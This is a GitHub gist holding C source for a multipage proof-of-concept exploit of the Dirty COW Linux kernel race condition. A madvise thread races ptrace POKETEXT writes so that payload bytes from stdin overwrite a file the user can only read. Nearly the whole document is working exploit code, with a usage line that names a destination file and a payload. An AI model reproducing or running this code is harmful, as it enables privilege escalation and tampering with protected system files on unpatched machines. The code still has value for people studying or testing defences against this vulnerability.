Skip to content

Instantly share code, notes, and snippets.

@chriscz
Last active November 14, 2021 21:07
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save chriscz/f1aca56cf15cfb7793db0141c15718cd to your computer and use it in GitHub Desktop.
Save chriscz/f1aca56cf15cfb7793db0141c15718cd to your computer and use it in GitHub Desktop.
Dirty COW PoC with multipage support
/*
* Multipage COW PoC
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/prctl.h>
/* definitions are likely arch dependent */
#define WORDSIZE (sizeof(long))
#define REPEAT 100 /* 100 */
#define REPEAT_WORD 100 /* 100 */
typedef long * word_p;
void *map;
int pagesize;
void handle_sigusr(int signal) {
/*printf("madvise done for!\n");*/
exit(0);
}
void *madvise_race(void *arg)
{
int mok = 0;
int endbyte = *((int*)arg);
// printf("strike @%d\n", endbyte);
for (;;) {
mok += madvise(map, endbyte, MADV_DONTNEED);
}
//printf("madvise errors? %s (%d)\n", (mok > 0) ? "Y" : "N", mok);
}
void resize(char **buffer, unsigned int *size, unsigned int newsize) {
*size = newsize;
*buffer = realloc(*buffer, sizeof(char) * *size);
if (*buffer == NULL) {
printf("buffer could not be resized\n");
exit(1);
}
}
void spawn_for_page(pid_t *pid, int endbyte)
{
*pid = fork();
pthread_t pth;
struct sigaction sa;
if (*pid) { /* parent */
waitpid(*pid, NULL, 0);
sleep(1);
} else { /* child */
/* die if parent dies */
prctl(PR_SET_PDEATHSIG, SIGKILL);
/* set up the signal handler */
sa.sa_handler = &handle_sigusr;
if (sigaction(SIGUSR1, &sa, NULL) < 0) {
perror("Could not register a signal handler!");
}
pthread_create(&pth, NULL, madvise_race, &endbyte);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth, NULL);
exit(0);
}
}
int main(int argc, char *argv[])
{
int f;
pid_t pid;
struct stat st;
if (argc < 2) {
printf("too few arguments\n usage: ./mucow dest < payload\n");
return 1;
}
/* constants */
pagesize = getpagesize();
/* read in the content */
unsigned int size = 1;
unsigned int n_read = 0;
unsigned int n_pos = 0;
char *buffer;
buffer = malloc(size * sizeof(char));
while ((n_read = read(STDIN_FILENO, buffer+n_pos, (size - n_pos))) > 0) {
n_pos += n_read;
/* ensure space */
if (n_pos == size) resize(&buffer, &size, size*2);
}
printf("read %d bytes from stdin\n", n_pos);
/* ensure that the buffer is word alligned */
int extra = WORDSIZE - (n_pos % WORDSIZE);
resize(&buffer, &size, n_pos + extra);
while (extra--) buffer[size - extra - 1] = '\0';
f = open(argv[1], O_RDONLY);
fstat(f, &st);
/* open memory map, with padding */
size_t mmapsize = st.st_size + (WORDSIZE - (st.st_size % WORDSIZE));
map = mmap(NULL,
mmapsize,
PROT_READ, MAP_PRIVATE, f, 0);
/* sanity checks */
assert(size % WORDSIZE == 0);
//assert(size < getpagesize());
assert(size <= mmapsize);
/* parent code */
int i, j, k, ec;
int L = n_pos;
int page = 0;
int next;
for (i = 0; i < REPEAT; i++) { // copy in word-sized strides
printf("repitition: %d/%d\n", i, REPEAT);
page = 0;
for (j = 0; j < L; j += WORDSIZE) { // copy in word-sized strides
if (j/pagesize >= page) {
page++;
kill(pid, SIGUSR1);
next = pagesize*page;
next = next < mmapsize? next: mmapsize;
spawn_for_page(&pid, next);
}
for (k = 0; k < REPEAT_WORD; k++) { // repeat for each word
ec += ptrace(PTRACE_POKETEXT, pid,
map + j,
*((word_p) (buffer + j)));
}
}
}
kill(pid, SIGUSR1);
printf("ptrace errors? %s (%d)\n", (ec > 0) ? "Y" : "N", ec);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment